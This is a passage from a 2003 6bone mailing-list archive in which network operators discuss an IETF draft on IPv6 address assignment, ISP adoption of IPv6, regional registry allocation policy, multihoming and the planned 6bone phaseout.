% > 6bone mailing list
% > 6bone@mailman.isi.edu
% > http://mailman.isi.edu/mailman/listinfo/6bone
% >
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From Marc.Blanchet@viagenie.qc.ca Fri Feb 28 09:04:55 2003
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Date: Fri, 28 Feb 2003 12:04:39 -0500
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: 6bone@ISI.EDU
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Subject: [6bone] Re: IPv6 w.g. Last Call on "A Flexible Method for Managing the
 Assignment of Bytes of an IPv6 Address Block" (fwd)
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Hi,
 I'm cross posting this email to the 6bone list, since I received over time
many emails and questions about the draft from people using it. However, I
haven't kept those emails nor I don't know who is using it. 
 the 6bone list is my best method to try to reach some of the people.
 could anyone who used, is using, are planning to use it send me an email
so I can collect the people that are using it. Moreover, if you have
anything to say about the publication of this draft as RFC, please feel
free to send email to ipng mailing list.

Thanks,

Marc.

---------- Forwarded Message ----------
Date: vendredi, février 21, 2003 10:43:12 -0500
From: Margaret Wasserman <mrw@windriver.com>
To: ipng@sunroof.eng.sun.com
CC: 
Subject: Re: IPv6 w.g. Last Call on "A Flexible Method for Managing the
Assignment of Bytes of an IPv6 Address Block"


Hi All,

During the last call period for "A Flexible Method for
Managing the Assignment of Bytes of an IPv6 Address
Block", there was only one comment (attached).  The
comment did not raise any specific technical issues with
the document, but it did question its usefulness.

As I am sure many of you know, documents should only be
forwarded to the IESG for approval when there is a consensus
of the WG that the document is both technically sound and
useful.  One ambivalent comment is not sufficient input to
demonstrate WG consensus for publishing this document.

So, if there are people in the WG who do believe that this
document is both technically sound and useful and should be
sent to the IESG for publication as an Informational RFC,
could you please speak up?

You can find the latest version of the document at:

http://www.ietf.org/internet-drafts/draft-ietf-ipv6-ipaddressassign-06.txt

Thanks,
Margaret



> To: Bob Hinden & Margaret Wasserman <hinden@iprg.nokia.com>
> cc: ipng@sunroof.eng.sun.com
> Subject: Re: IPv6 w.g. Last Call on "A Flexible Method for Managing the
>  Assignment of Bytes of an IPv6 Address Block"
> 
> 
> On Thu, 16 Jan 2003, Bob Hinden & Margaret Wasserman wrote:
> > This is a IPv6 working group last call for comments on advancing the
> > following document as an Informational RFC:
> > 
> >       Title           : A Flexible Method for Managing the Assignment of
> >                           Bits of an IPv6 Address Block
> >       Author(s)       : M. Blanchet
> >       Filename        : draft-ietf-ipv6-ipaddressassign-06.txt
> >       Pages           : 8
> >       Date            : 2003-1-6
> 
> 
> I don't have problems with this, though I'm not sure how useful this is
> for most (but for some, certainly).
> 
> 
> A point I've raised in the past is, most operators are not really
> interested in optimizing the address assignments on a bit level (provided
> that the number of customers is not so high it would be required).
> Rather, here we do so with nibbles.  Those are easier to calculate in the
> head and work better with reverse DNS delegations too.
> 
> 
> But I'm not sure whether this kind of "coarser approach for flexible
> assignment" calls for some text or not.  A mention at most, I think.
> What do others feel?
> 
> 
> --
> Pekka Savola                 "You each name yourselves king, yet the
> Netcore Oy                    kingdom bleeds."
> Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings




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---------- End Forwarded Message ----------



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

From gert@Space.Net Fri Feb 28 09:09:52 2003
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Date: Fri, 28 Feb 2003 18:09:50 +0100
From: Gert Doering <gert@space.net>
To: Jonathan Guthrie <jguthrie@brokersys.com>
Cc: Gert Doering <gert@space.net>, Dan Reeder <dan@reeder.name>,
   Bob Fink <bob@thefinks.com>, 6bone@mailman.isi.edu
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March  2003
Message-ID: <20030228180950.B15927@Space.Net>
References: <5.2.0.9.0.20030226182248.02003200@mail.addr.com> <5.1.0.14.2.20030227113545.03c2bdd0@pfs-pc.cisco.com> <5.2.0.9.0.20030224092334.025e5050@mail.addr.com> <5.2.0.9.0.20030227081034.02134498@mail.addr.com> <001e01c2deb5$e169a840$0200a8c0@elf> <20030228013526.J15927@Space.Net> <20030228135948.GA17349@brokersys.com> <20030228153817.V15927@Space.Net> <20030228153517.GA28747@brokersys.com>
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Hi,

On Fri, Feb 28, 2003 at 09:35:17AM -0600, Jonathan Guthrie wrote:
[..]
> > > There is absolutely no evidence that I can find that ANYBODY is offering 
> > > IPv6 Internet connectivity to end users.  Perhaps the backbone providers
> > > have it on their routers and speak it to each other, but it sure hasn't
> > > filtered down to anybody else.
>  
> > We're offering it to all our customers, for no extra charge on top of
> > what they pay for their IPv4 account.
> 
> Fine.  Give me your POP number for Houston, TX, US, and I'll switch to 
> your service.  Telling me about what you give YOUR customers when it is
> not in any way, shape, or form available to me does not impress me at all
> about how close IPv6 is to being a "commodity" item.

No need to get sarcastic here.  You tell me that you can't find evidence
that "ANYBODY" is offering IPv6 connectivity to end users.  What I'm 
telling you is that this might be true for the US, but it's certainly
not true for other parts of the world - there *are* offerings.

It was not my intention to mock you.  I just wanted to point out that
other regions are indeed making progress here.

> For what it's worth, I would expect IPv6 connectivity to be available
> along with IPv4 for no additional cost for a time and that the IPv4
> connectivity will be eventually dropped or will be included as an
> additional cost item.  

Yes.  So do I.

[..]
> > Admittedly we can't yet offer it
> > on all products (some hardware vendors are just not there yet), but on
> > the other hand the demand hasn't been overwhelming either...
> 
> I use an Lucent Pipeline 75 to access the Internet.  It talks to a
> Lucent Max TNT.  Neither of those apparently has any support for IPv6.
> Now, apparently the Cisco AS 5[34]00 series equipment does, but I don't
> know anybody running that equipment.  I HAVE been out of the loop fo
> a while on what people are using for their dial-in equipment.  Perhaps
> someone could give some figures on how many dial-in lines in the world
> are on equipment that are capable of handling IPv6.

Right now, in US and EU, close to zero, as the big dial ISPs are fairly
reluctant to upgrade their software (if the hardware could do it), and
are mostly unwilling to replace their hardware.  Dunno about AP.

Leased line and DSL is much better - as it's easier for the ISPs to
do the necessary upgrades.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57021 (57147)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From michel@arneill-py.sacramento.ca.us Fri Feb 28 09:21:12 2003
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Bob Fink" <bob@thefinks.com>
Cc: <6bone@ISI.EDU>
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Bob,

> Bob Fink wrote:
> Status and discussion of the proposal for the "transfer of
> 6bone address management responsibilities to RIRs" - Bob
> Fink and appropriate RIR folk, 30 minutes
> <http://www.6bone.net/ngtrans/IETF-54-Yokohama/6bone-registry.pdf>
> Presentation of the 6bone phaseout plan - Bob Hinden, 10 mins
> <http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-00.txt>

I would tend to think that these two proposals are mutually
incompatible. If we are to proceed with the phaseout plan with the
proposed dates (and they appear to be what could reach consensus), what
is the point of making the move towards the RIRs? I would take the most
part of the remaining time between now and July 2004 to get all the
paperwork pushed, and one might think that it is not worth the effort
for just a few months of operations.

I have supported the transfer to the RIRs and I still support it, but it
would require a considerable extension of the phaseout dates, which I
also proposed earlier (some recent postings seem to indicate that I am
not the only one leaning in this direction).


> CHAIR: Jordi Palet Martinez jordi.palet@consulintel.es

I have great confidence that Jordi has what it takes to run this.

Michel.


From michel@arneill-py.sacramento.ca.us Fri Feb 28 09:41:29 2003
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> So, IPv6 is almost ready for "commodity" status even though
> a substantial fraction of all Internet users don't have access
> to it and won't for some time?  Isn't the Internet supposed
> to be about facilitating communications?

[I mostly agree with Jonathan and Todd's posts]

"a substantial fraction of all Internet users don't have access" is an
euphemism. It would be better to talk about the extremely small minority
almost exclusively composed of computer geeks and cell phones that has
access to IPv6, mostly with tunnels that make them switch back to IPv4
because it has way lower latency.

"commodity" means general public. This is not the case as of today and
will not be the case in a year either.

No IPv6 yahoo, no IPv6 google, no IPv6 eBay, no IPv6 commodity.

It is time for folks to understand that IPv6 can not be a commodity
until an IPv6 multihoming solution is deployed.

Michel.


From rmk@arm.linux.org.uk Fri Feb 28 09:45:47 2003
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From: Russell King <rmk@arm.linux.org.uk>
To: Gert Doering <gert@space.net>
Cc: Jonathan Guthrie <jguthrie@brokersys.com>, Dan Reeder <dan@reeder.name>,
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References: <5.2.0.9.0.20030226182248.02003200@mail.addr.com> <5.1.0.14.2.20030227113545.03c2bdd0@pfs-pc.cisco.com> <5.2.0.9.0.20030224092334.025e5050@mail.addr.com> <5.2.0.9.0.20030227081034.02134498@mail.addr.com> <001e01c2deb5$e169a840$0200a8c0@elf> <20030228013526.J15927@Space.Net> <20030228135948.GA17349@brokersys.com> <20030228153817.V15927@Space.Net> <20030228153517.GA28747@brokersys.com> <20030228180950.B15927@Space.Net>
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On Fri, Feb 28, 2003 at 06:09:50PM +0100, Gert Doering wrote:
> Leased line and DSL is much better - as it's easier for the ISPs to
> do the necessary upgrades.

Wish the same was true in the UK.  When I mentioned the DSL situation
to a guy from BT in January, there didn't appear to be any plans to
make IPv6 available natively on DSL, so the only IPv6 DSL connectivity
in the near future will be using tunnels.

Having experienced the problems with PMTU discovery on IPv4 with sites
blocking the ICMP fragmentation needed messages for "security reasons",
I have little faith that any tunneled IP protocols have much value to
end users.  Of course, it may be different with IPv6, but I'd imagine
that the same "security" rules will end up being imposed upon IPv6.

-- 
Russell King (rmk@arm.linux.org.uk)                The developer of ARM Linux
             http://www.arm.linux.org.uk/personal/aboutme.html


From Michael.Sturtz@paccar.com Fri Feb 28 12:55:14 2003
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From: "Michael Sturtz" <Michael.Sturtz@paccar.com>
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I have been listening to this discussion for a while now and believe there
is a way to encourage ISPs and other entities to make the necessary
investments in moving to IPv6.  Unfortunately, in the US ARIN seems to be
wanting to use the same IPv4 mentality with distributing V6 blocks of
addresses.  We (I mean the internet community.) should encourage the liberal
distribution of v6 addresses to as many ISPs as possible by reducing the
cost and required justifications.  In addition, they should raise the price
of current v4 address allocations to reflect their scarcity.  Until, ISPs
and companies who use current v4 address space have an economic reason to
migrate they won't.  We have the classic chicken and egg problem.  Few
people will write applications for which v6 is needed unless there are many
people using v6 and people will wait until there is content which uses or is
only available on v6 before they will migrate to and use it.  It would
greatly help if all v4 content were immediately available on the v6 network
either via a dual protocol stack or via a 6to4 arrangement in the backbone
routers and DNS infrastructure.  If a machine with a only a v6 address
received a DNS answer which contained a v4 address then it should send that
(using the 2002 space) to the nearest router capable of translating
(proxying) the v6 address into a v4 address.  I would like to be able to use
IPv6 natively however unfortunately, neither of my broadband providers will
do IPv6 anytime soon.  And, I don't see any dial up providers available in
my area either.  

Michael Sturtz
Computer Ease II






From bmanning@ISI.EDU Fri Feb 28 13:14:36 2003
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Subject: Re: [6bone] Getting ISPs to use IPv6
In-Reply-To: <ED7B7BB4EC21D411A34F0090275D4E230AEF8217@misrenmxm1.misrenton.paccar.com> from Michael Sturtz at "Feb 28, 3 12:54:56 pm"
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% investments in moving to IPv6.  Unfortunately, in the US ARIN seems to be
% wanting to use the same IPv4 mentality with distributing V6 blocks of
% addresses.  We (I mean the internet community.) should encourage the liberal
% distribution of v6 addresses to as many ISPs as possible by reducing the
% cost and required justifications.  

	Have you checked recently on ARIN delegation policy wrt	
	V6 delegations?  I didn;t think so.  

	The kicker is not address availablity.  The next big hurdle
	is CASH.  The opex/capex costs of providing IPv6 -WITHOUT-
	impacting the razor-thin margins that IPv4 demands (see SLA)
	are a bit high for most major ISPs.  


% Michael Sturtz
% Computer Ease II


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From cfaber@fpsn.net Fri Feb 28 14:57:08 2003
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Bill Manning wrote:
> 
> % investments in moving to IPv6.  Unfortunately, in the US ARIN seems to be
> % wanting to use the same IPv4 mentality with distributing V6 blocks of
> % addresses.  We (I mean the internet community.) should encourage the liberal
> % distribution of v6 addresses to as many ISPs as possible by reducing the
> % cost and required justifications.
> 
>         Have you checked recently on ARIN delegation policy wrt
>         V6 delegations?  I didn;t think so.
> 
>         The kicker is not address availablity.  The next big hurdle
>         is CASH.  The opex/capex costs of providing IPv6 -WITHOUT-
>         impacting the razor-thin margins that IPv4 demands (see SLA)
>         are a bit high for most major ISPs.

I would also like to point out that much of the existing software
out there which drives the current internet market place does not
yet support, or fully support the IPv6 address space. Of that most
of the IPv4 supported software patched for IPv6 is still in an alpha
or beta quality code state and is not yet ready for mission critical
deployment.

One other thing to keep in mind is that IPv4 wasn't rolled out
over night and the ISPs didn't adopt it because it was the "neat"
or "new" technology to use. They adopted it because it is what the
consumer demanded.

Michael be patient, IPv6 is coming however it's not going to happen
over night.

Should you really be interested in supporting "the cause" so to
speak I suggest you contact companies such as Microsoft which are
showing signs they are wavering from supporting the standard. Remind
them that it's currently a lot cheaper to deploy it in the early
stages than later on as things get more complicated.

> 
> % Michael Sturtz
> % Computer Ease II
> 
> --bill
> Opinions expressed may not even be mine by the time you read them, and
> certainly don't reflect those of any other entity (legal or otherwise).
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.
* Black holes are where God divided by zero. *

-> SPAM TRAP ADDRESS - DO NOT EMAIL <-
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From Michael.Sturtz@paccar.com Fri Feb 28 15:01:26 2003
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Subject: RE: [6bone] Getting ISPs to use IPv6
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I did check and although they seem to be currently waiving the fees until
12/31/03 that is only temporary and not long enough to spur increased
investment.  The lowest fee they have is 2,500 per year for a standard /32
address space.  Also, they will not (from what I can tell) allocate address
space to non-ISPs i.e. end user organizations such as mine so, we must wait
until we can get it some other way.  The company I work for has a class B
IPv4 portable address block.  If I am understanding ARIN's rules they will
not allocate IPv6 address space to an end user organization.  I personally
would like to get a portable (globally routable) address block for my own
personal use however there doesn't seem any way to do this easily.  I will
admit that I am somewhat ignorant of how this whole process works however it
would seem that it would spur IPv6 adoption if end users could get portable
address space on their own without being dependant on an ISP.  Please
correct me if I am wrong.  Thanks Bill for responding!
Thanks,
Michael Sturtz



From daniel@kewlio.net Fri Feb 28 15:20:56 2003
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From: "Daniel Austin" <daniel@kewlio.net>
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Subject: Re: [6bone] Getting ISPs to use IPv6
Date: Fri, 28 Feb 2003 23:16:07 -0000
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Hi,

We're in a similar position here.
Our company is not large enough to request a /32 from RIPE (we cant allocate 200 customers ipv6 in the next 12 months, nor can i lie
to RIPE to let them believe it!)
We're not a RIPE LIR, so i cant even request it to be thrown out.
But we're fully multihomed on PI ipv4 space....

It seems there's no similar position for us in ipv6 land.
I have to rely on using static-routed IPv6 IP's from another provider which means i *CANT* offer a production service on ipv6....
but of course, this all goes back to the multihoming thread...


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "Michael Sturtz" <Michael.Sturtz@paccar.com>
To: <6bone@ISI.EDU>
Sent: Friday, February 28, 2003 11:01 PM
Subject: RE: [6bone] Getting ISPs to use IPv6


>
>
>
> I did check and although they seem to be currently waiving the fees until
> 12/31/03 that is only temporary and not long enough to spur increased
> investment.  The lowest fee they have is 2,500 per year for a standard /32
> address space.  Also, they will not (from what I can tell) allocate address
> space to non-ISPs i.e. end user organizations such as mine so, we must wait
> until we can get it some other way.  The company I work for has a class B
> IPv4 portable address block.  If I am understanding ARIN's rules they will
> not allocate IPv6 address space to an end user organization.  I personally
> would like to get a portable (globally routable) address block for my own
> personal use however there doesn't seem any way to do this easily.  I will
> admit that I am somewhat ignorant of how this whole process works however it
> would seem that it would spur IPv6 adoption if end users could get portable
> address space on their own without being dependant on an ISP.  Please
> correct me if I am wrong.  Thanks Bill for responding!
> Thanks,
> Michael Sturtz
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From jeroen@unfix.org Fri Feb 28 16:02:14 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Michael Sturtz'" <Michael.Sturtz@paccar.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Getting ISPs to use IPv6
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Michael Sturtz wrote:

> I did check and although they seem to be currently waiving 
> the fees until 12/31/03 that is only temporary and not long
> enough to spur increased investment.  The lowest fee they
> have is 2,500 per year for a standard /32 address space.
> Also, they will not (from what I can tell) allocate address
> space to non-ISPs i.e. end user organizations such as mine 
> so, we must wait. until we can get it some other way.
> The company I work for has a class B IPv4 portable address block.
> If I am understanding ARIN's rules they will not allocate IPv6
> address space to an end user organization.  I personally
> would like to get a portable (globally routable) address 
> block for my own personal use however there doesn't seem any
> way to do this easily.  I will admit that I am somewhat
> ignorant of how this whole process works however it would
> seem that it would spur IPv6 adoption if end users 
> could get portable address space on their own without being
> dependant on an ISP.  Please correct me if I am wrong.

You and me and all the other 6 billion people walking around on this
earth
and using the internet are _end users_. And an end user is not an ISP.

The barrier for not giving everybody a "portable address space of your
own"
is simply because otherwise the routing tables would explode. Not even
speaking
about the fact that 6 billion * /32 doesn't fit in IPv6 address space.
There was something about Routing Hierarchy which is a good thing coming
along with IPv6. Also if your organisation is big enough ofcourse you
can pay up that small amount of 2500 US which is just a laugh compared
to what one pays for a real router, staff, cabling, housing, you name
it.
Also maintaining a backbone ISP really does take

As an end user you will need to push your upstream, the people who
you pay, along with a load of other people to get them to do IPv6.
If they don't and you still want it, go to another ISP.

Yes, that sounds harsh but it is that way. I have been kicking ISP's
for some time now and I don't have native IPv6 (!yet!) but it will
come, one day. Fortunatly I do have access to a rather good tunnelbroker
which I have been (ab)using for the last 3 years and I was able to
change my ISP in between which is also a good thing. And yes, I like
having a stable IP prefix for my own. But like you and anybody else
I am just a mere mortal, not a big ISP or organisation who have tons
of clientele and have the time to make and keep it working.

Maybe if you really want a 'portable block' you should signup with
one of the TLA owners and let them route, or tunnel, "your" block
directly to you. If you are big enough to play with the big people
they must allow you, otherwise too bad...

Btw, I must note that 'address space' is not a property. It always
is the 'property' of the RIRs, who in turn can be asked to give it
back to IANA. Not that something will happen quickly though ;)

Greets,
 Jeroen


From michel@arneill-py.sacramento.ca.us Fri Feb 28 16:08:00 2003
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Subject: [6bone] Getting ISPs to use IPv6
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> Michael Sturtz wrote:
> The company I work for has a class B IPv4 portable address block.
> If I am understanding ARIN's rules they will not allocate IPv6
> address space to an end user organization.

Correct, nor will RIPE, APNIC not LATNIC.


> I personally would like to get a portable (globally routable)
> address block for my own personal use

This does not look it is going to happen any time soon.


> however it would seem that it would spur IPv6 adoption if end
> users could get portable address space on their own without
> being dependant on an ISP.

It might happen later on as a loosening of multihoming assignment
policies, but I would not count on it before separation between
identifier and locator is achieved. I regret to report that multihoming
solutions that could be used on singlehomed sites for the sole purpose
of address portability are likely to limit the initial usage to
multihomers.

Michel.


From jeroen@unfix.org Fri Feb 28 16:20:43 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Daniel Austin'" <daniel@kewlio.net>,
   "'Michael Sturtz'" <Michael.Sturtz@paccar.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Getting ISPs to use IPv6
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Daniel Austin wrote:

> Hi,
> 
> We're in a similar position here.
> Our company is not large enough to request a /32 from RIPE 
> (we cant allocate 200 customers ipv6 in the next 12 months, 
> nor can i lie to RIPE to let them believe it!)

And 200 customers is a really small figure.
If you have 200 dailup/dsl/hosting users you are there.
If you don't have 200 of such users you simply are not big enough.

There are some caveats though, but most RIR's won't make much fuss
when you can explain your plans and your customerbase well enough.

Good example is NREN's who might have eg 50 universities as clients.
But actually those 50 universities comprise of thousands of students,
buildings, classrooms, dailup facilities etc. It's just how you
formulate
'client' in this matter and the rules are not that strict at the moment.
You might try to contact your RIR and ask them before thinking that it
doesn't work out in the first place.

> We're not a RIPE LIR, so i cant even request it to be thrown out.
> But we're fully multihomed on PI ipv4 space....
> 
> It seems there's no similar position for us in ipv6 land.
> I have to rely on using static-routed IPv6 IP's from another 
> provider which means i *CANT* offer a production service on ipv6....
> but of course, this all goes back to the multihoming thread...

Who says that you can't setup private BGP peerings for 'your' /40 ?
As long as it doesn't pop up in the global routing table that's
perfectly fine.

Greets,
 Jeroen

PS: before somebody starts thinking 'he is prolly big enough' well..
I don't work for any ISP whatsoever and I am really not big enough on my
own.
So, just like everybody else I gotta have to rely on me paying a big ISP
for
some address space, but for that money they also make sure that I am
multihomed, that they get out of bed at 05:00 to fix stuff etc ;)
And actually that is fine with me.


From pekkas@netcore.fi Sat Mar  1 00:12:53 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: jguthrie@brokersys.com, <6bone@ISI.EDU>
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
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On Fri, 28 Feb 2003, Michel Py wrote:
> It is time for folks to understand that IPv6 can not be a commodity
> until an IPv6 multihoming solution is deployed.

It is time for folks to stop thinking the need for a magic IPv6
multihoming solution as pretense why IPv6 hasn't gotten off yet.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From daniel@kewlio.net Sat Mar  1 00:54:47 2003
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From: "Daniel Austin" <daniel@kewlio.net>
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References: <001d01c2df88$73841ee0$210d640a@unfix.org>
Subject: Re: [6bone] Getting ISPs to use IPv6
Date: Sat, 1 Mar 2003 08:54:25 -0000
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Hi,

> Daniel Austin wrote:
>
> > Hi,
> >
> > We're in a similar position here.
> > Our company is not large enough to request a /32 from RIPE
> > (we cant allocate 200 customers ipv6 in the next 12 months,
> > nor can i lie to RIPE to let them believe it!)
>
> And 200 customers is a really small figure.
> If you have 200 dailup/dsl/hosting users you are there.
> If you don't have 200 of such users you simply are not big enough.

Every company has to start somewhere... we're not a dialup/dsl provider and never hope to be one.  We purely do colocation.  we buy
and sell raw bandwidth and servers.
When looking from a colo point of view... it takes a while to get 200 customers - right now, all i can do is offer then free 6bone
or "unsupported production" space for their colo boxes.

> There are some caveats though, but most RIR's won't make much fuss
> when you can explain your plans and your customerbase well enough.
>
> Good example is NREN's who might have eg 50 universities as clients.
> But actually those 50 universities comprise of thousands of students,
> buildings, classrooms, dailup facilities etc. It's just how you
> formulate
> 'client' in this matter and the rules are not that strict at the moment.
> You might try to contact your RIR and ask them before thinking that it
> doesn't work out in the first place.

We would have to become a LIR first - yet another overhead that we dont have as an IPv4 provider.

> > We're not a RIPE LIR, so i cant even request it to be thrown out.
> > But we're fully multihomed on PI ipv4 space....
> >
> > It seems there's no similar position for us in ipv6 land.
> > I have to rely on using static-routed IPv6 IP's from another
> > provider which means i *CANT* offer a production service on ipv6....
> > but of course, this all goes back to the multihoming thread...
>
> Who says that you can't setup private BGP peerings for 'your' /40 ?
> As long as it doesn't pop up in the global routing table that's
> perfectly fine.

If i still only have 1 *true* inbound path for the production space, i can't offer the Service Level Agreement that i currently hold
on IPv4.  Sure i can multihome outbound traffic across providers, but it's all about SLA.  I can't compete with larger companies who
can multihome because i can't give the SLA required.

I'll contact RIPE on behalf of my company, but i'm not hopeful :-(


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>


> Greets,
>  Jeroen
>
> PS: before somebody starts thinking 'he is prolly big enough' well..
> I don't work for any ISP whatsoever and I am really not big enough on my
> own.
> So, just like everybody else I gotta have to rely on me paying a big ISP
> for
> some address space, but for that money they also make sure that I am
> multihomed, that they get out of bed at 05:00 to fix stuff etc ;)
> And actually that is fine with me.
>
>


From owens@nysernet.org Sat Mar  1 06:05:14 2003
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To: Pekka Savola <pekkas@netcore.fi>
Cc: Michel Py <michel@arneill-py.sacramento.ca.us>, jguthrie@brokersys.com,
   6bone@ISI.EDU
Subject: Re: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
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On Sat, 1 Mar 2003, Pekka Savola wrote:
> On Fri, 28 Feb 2003, Michel Py wrote:
> > It is time for folks to understand that IPv6 can not be a commodity
> > until an IPv6 multihoming solution is deployed.
> 
> It is time for folks to stop thinking the need for a magic IPv6
> multihoming solution as pretense why IPv6 hasn't gotten off yet.

There is no magic multihoming solution needed - just *ANY* multihoming
solution. 

Bill.


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Hi,

Although our university is single-homed for academic traffic, we also have
a single homed commercial link for non-academic traffic.   We have been 
fortunate that for 3-4 years since we ran this link we have had pretty much
100% uptime from the supplier.  Of course multihoming is like insurance
policies, you don't need them until you have a problem.  We would be quite
happy to pay 2,500 p.a. LIR fees if that meant we could gain an independent
block (/48, or /32 :) for IPv6 use (and IPv4).  For us, 2,500 is a small
fraction of even what we feel is a small ISP activity.   Anyone who can't
afford that must have quite a small operation(?) so I do kind of agree with
people who suggest limiting PI growth by attaching a fee.   But if that
happens we need a different solution for the small guys who can't afford
that money (but these won't be bigger than SME, single geography networks?).
And what was the count for IPv4 PI networks determined recently?  It wasn't
that large...

I'm not trying to be provocative here(!), just understand relationships,
operational sizes, etc that lead to the requirements.  

Tim

On Sat, Mar 01, 2003 at 01:21:05AM +0100, Jeroen Massar wrote:
> Daniel Austin wrote:
> 
> > Hi,
> > 
> > We're in a similar position here.
> > Our company is not large enough to request a /32 from RIPE 
> > (we cant allocate 200 customers ipv6 in the next 12 months, 
> > nor can i lie to RIPE to let them believe it!)
> 
> And 200 customers is a really small figure.
> If you have 200 dailup/dsl/hosting users you are there.
> If you don't have 200 of such users you simply are not big enough.
> 
> There are some caveats though, but most RIR's won't make much fuss
> when you can explain your plans and your customerbase well enough.
> 
> Good example is NREN's who might have eg 50 universities as clients.
> But actually those 50 universities comprise of thousands of students,
> buildings, classrooms, dailup facilities etc. It's just how you
> formulate
> 'client' in this matter and the rules are not that strict at the moment.
> You might try to contact your RIR and ask them before thinking that it
> doesn't work out in the first place.
> 
> > We're not a RIPE LIR, so i cant even request it to be thrown out.
> > But we're fully multihomed on PI ipv4 space....
> > 
> > It seems there's no similar position for us in ipv6 land.
> > I have to rely on using static-routed IPv6 IP's from another 
> > provider which means i *CANT* offer a production service on ipv6....
> > but of course, this all goes back to the multihoming thread...
> 
> Who says that you can't setup private BGP peerings for 'your' /40 ?
> As long as it doesn't pop up in the global routing table that's
> perfectly fine.
> 
> Greets,
>  Jeroen
> 
> PS: before somebody starts thinking 'he is prolly big enough' well..
> I don't work for any ISP whatsoever and I am really not big enough on my
> own.
> So, just like everybody else I gotta have to rely on me paying a big ISP
> for
> some address space, but for that money they also make sure that I am
> multihomed, that they get out of bed at 05:00 to fix stuff etc ;)
> And actually that is fine with me.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From tjc@ecs.soton.ac.uk Sat Mar  1 07:11:08 2003
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On Sat, Mar 01, 2003 at 08:58:19AM -0500, owens@nysernet.org wrote:
>
> There is no magic multihoming solution needed - just *ANY* multihoming
> solution. 

So how many /32's would be allocated if we followed Pekka's idea and/or
the LIR-limiting path?  This would at least shift the focus of the immediate
solution space?

Tim

From bortzmeyer@gitoyen.net Sat Mar  1 13:20:16 2003
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Subject: Re: [6bone] How to route for both native IPv6 and IPv4 internet? 
In-reply-to: <20030228092928.57852.qmail@web14811.mail.yahoo.com> 
     (=?iso-8859-1?q?xuemei=20bp?= <xuemei09@yahoo.co.uk>'s message of 
     Fri, 28 Feb 2003 09:29:28 GMT)
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On Friday 28 February 2003, at 9 h 29, 
=?iso-8859-1?q?xuemei=20bp?= <xuemei09@yahoo.co.uk> wrote:

> and route -A inet6 add 2001::/16 via 192.88.99.1 dev eth0 
...
> I am not happy to use this command, because the PC can only access prefix 
> 2001 native IPv6). 

[I fail to see the connection between "native IPv6" and "2001 addresses".]

Therefore, why don't you use 2000::/3 (instead of 2001::/16) or, even better 
(warning: this requires a Linux kernel >= 2.4.20 *or* the USAGI patch), a 
default route 0::/0?




From jguthrie@brokersys.com Sun Mar  2 13:34:26 2003
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On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
> As an end user you will need to push your upstream, the people who
> you pay, along with a load of other people to get them to do IPv6.
> If they don't and you still want it, go to another ISP.

And if there is no available ISP?  As I said before, saying 'give me IPv6 
transit or I'll disconnect from the Internet' is not a credible threat.

It is premature to schedule the end of the 6bone until there are multiple 
dialup and broadband providers in the USA.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Sto pro veritate

From jeroen@unfix.org Sun Mar  2 14:56:02 2003
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Jonathan Guthrie [mailto:jguthrie@brokersys.com] wrote:

> On Fri, 28 Feb 2003 18:02:32 Jeroen Massar wrote:
> > As an end user you will need to push your upstream, the people who
> > you pay, along with a load of other people to get them to do IPv6.
> > If they don't and you still want it, go to another ISP.
> 
> And if there is no available ISP?  As I said before, saying 
> 'give me IPv6 transit or I'll disconnect from the Internet'
> is not a credible threat.

Use an alternative like a tunnelbroker ;)

> It is premature to schedule the end of the 6bone until there 
> are multiple dialup and broadband providers in the USA.

The current planning for dismanteling the 6bone is 2006,
that is 3 years from now. You prolly don't have any insight
what we have accomplished in Europe in the past 3 years.
Now it's time for the American folks to wake up and do their work.

Checking http://www.sixxs.net/tools/grh/tla/ it says that the US
have 73 TLA's out of the total 456 around the world. That count
is including 6bone allocations. 73/456 = 16% of the total allocated
IPv6 space on this planet. Apparently *some* ISP's are busy with
it, now you'll just have to convince your upstream.

They really need market *demand*, so you'll got to raise your voice.
In the mean time you can 'fallback' to a tunneled connection.
Of which enough are available.

Greets,
 Jeroen


From michel@arneill-py.sacramento.ca.us Sun Mar  2 16:25:00 2003
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Jeroen Massar wrote:
> As an end user you will need to push your upstream, the
> people who you pay, along with a load of other people to
